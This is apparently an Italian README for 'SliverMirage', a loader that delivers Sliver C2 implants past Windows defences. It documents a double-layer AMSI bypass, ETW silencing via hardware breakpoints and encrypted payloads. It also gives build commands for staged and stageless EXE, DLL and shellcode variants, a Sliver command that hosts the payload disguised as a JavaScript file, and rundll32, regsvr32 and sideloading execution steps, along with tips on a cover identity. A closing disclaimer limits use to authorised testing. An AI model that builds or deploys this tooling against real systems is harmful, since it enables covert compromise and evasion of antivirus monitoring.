
Crystal Palace PICO loader per Sliver C2 bypass AMSI a doppio strato, silenziamento ETW, payload crittografati AES-256-CBC, 6 varianti di consegna
Un fork di CrystalSliver che estende il loader PICO di Crystal Palace con bypass AMSI a doppio strato, silenziamento ETW e sei varianti di consegna per Sliver C2.
SliverMirage avvolge una DLL dell'impianto Sliver tramite la virtualizzazione PICO di Crystal Palace, quindi la consegna tramite un loader che neutralizza AMSI ed ETW senza applicare patch a amsi.dll o ntdll.dll.
Stack di evasione:
| Layer | Tecnica | Dettaglio |
|---|
| AMSI L1 | Corruzione delle stringhe CLR | LdrRegisterDllNotification intercetta il caricamento di clr.dll, corrompe AmsiScanBuffer in .rdata prima che CLR chiami GetProcAddress |
| AMSI L2 | VEH + HWBP | Il Vectored Exception Handler su AmsiScanBuffer restituisce E_INVALIDARG |
| ETW | HWBP | DR1 su NtTraceControl, restituisce STATUS_SUCCESS |
| Payload | AES-256-CBC + XOR | Decrittazione BCrypt, VirtualAlloc(RW) -> VirtualProtect(RX), zero RWX |
| Virtualizzazione | Crystal Palace PICO | La DLL Sliver viene eseguita all'interno di un processo PICO, invisibile all'AV in userland |
| Formato | File | Consegna | C2 a runtime? |
|---|---|---|---|
exe | EXE con staging | EXE + payload.dat sul sito C2 | Sì (HTTPS) |
exe-stageless | EXE senza staging | Singolo EXE | No |
dll | DLL senza staging | Singola DLL | No |
dll-staged | DLL con staging | DLL + payload.dat sul sito C2 | Sì (HTTPS) |
shellcode | Shellcode con staging | .bin + payload.dat | Sì (HTTPS) |
shellcode-stageless | Shellcode senza staging | Singolo .bin | No |
Le varianti staged scaricano il PICO crittografato in runtime da un sito web HTTPS di Sliver. L'EXE/DLL è piccolo (~20 KB) e non contiene payload su disco.
Le varianti stageless incorporano il PICO crittografato in fase di compilazione (doppio strato XOR + AES). Più grandi su disco ma zero attività di rete prima della callback del beacon.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 con pefile (pip install pefile)opensslbuild.sh)Lo script di build installa automaticamente le dipendenze mancanti (inclusi Crystal Palace e Java 17) e gestisce l'intera pipeline: DLL -> Crystal Palace PICO -> crittografia -> compilazione.
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
Opzioni:
--dll <path> — DLL dell'impianto Sliver (obbligatoria)--host <ip> — IP del server C2 (obbligatorio per i formati staged)--port <port> — Porta C2 (default: 443)--path <path> — Percorso URL per il download del payload (default: /assets/js/vendor.js)--format <fmt> — Formato di output (default: exe)--export <name> — Nome export personalizzato della DLLSe hai già un blob PICO di Crystal Palace:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
Carica build/payload.dat su un sito web HTTPS di Sliver:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
Consegna build/csvchelper.exe (o .dll) al target.
Consegna a file singolo. Nessuna configurazione del sito C2 necessaria.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
In alternativa, usa il DLL sideloading (rinomina la DLL per corrispondere a una DLL legittima caricata dall'applicazione target).
Export: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt — tutte API Windows legittimeVirtualProtect sulle DLL di sistemaWinMain, -mwindows — nessun flash della consoleasInvoker sopprime le euristiche UACresource.rc / resource_dll.rc con la tua identità di copertura prima della buildQuesto progetto è destinato esclusivamente a test di sicurezza autorizzati, ricerca e scopi educativi. Usalo solo in ambienti in cui hai esplicita autorizzazione scritta per condurre test di penetrazione. L'accesso non autorizzato ai sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità per l'uso improprio di questo software.
MIT